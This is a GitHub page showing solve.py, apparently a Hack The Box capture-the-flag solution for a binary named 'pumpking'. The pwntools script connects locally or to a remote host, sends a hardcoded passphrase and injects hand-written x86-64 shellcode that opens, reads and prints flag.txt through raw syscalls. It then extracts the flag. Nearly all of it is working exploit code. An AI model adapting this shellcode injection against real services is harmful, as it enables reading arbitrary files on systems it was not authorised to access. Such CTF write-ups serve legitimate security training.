-
Notifications
You must be signed in to change notification settings - Fork 4
/
solve.py
57 lines (40 loc) · 1.07 KB
/
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env pyhton3
from pwn import *
context.binary = 'pumpking_patched'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def main():
p = get_process()
p.sendlineafter(b'First of all, in order to proceed, we need you to whisper the secret passphrase provided only to naughty kids: ', b'pumpk1ngRulez')
shellcode = asm(f'''
xor rdx, rdx
push rdx
mov rsi, {u64(b'flag.txt')}
push rsi
mov rsi, rsp
xor rdi, rdi
sub rdi, 100
mov rax, 0x101
syscall
mov rdx, 100
mov rsi, rsp
mov edi, eax
xor rax, rax
syscall
mov al, 1
mov rdi, rax
syscall
mov al, 0x3c
syscall
''')
log.info(f'Shellcode length: {hex(len(shellcode))}')
sleep(1)
p.send(shellcode)
sleep(1)
log.success(re.findall(br'HTB{.*?}', p.recv())[0].decode())
p.close()
if __name__ == '__main__':
main()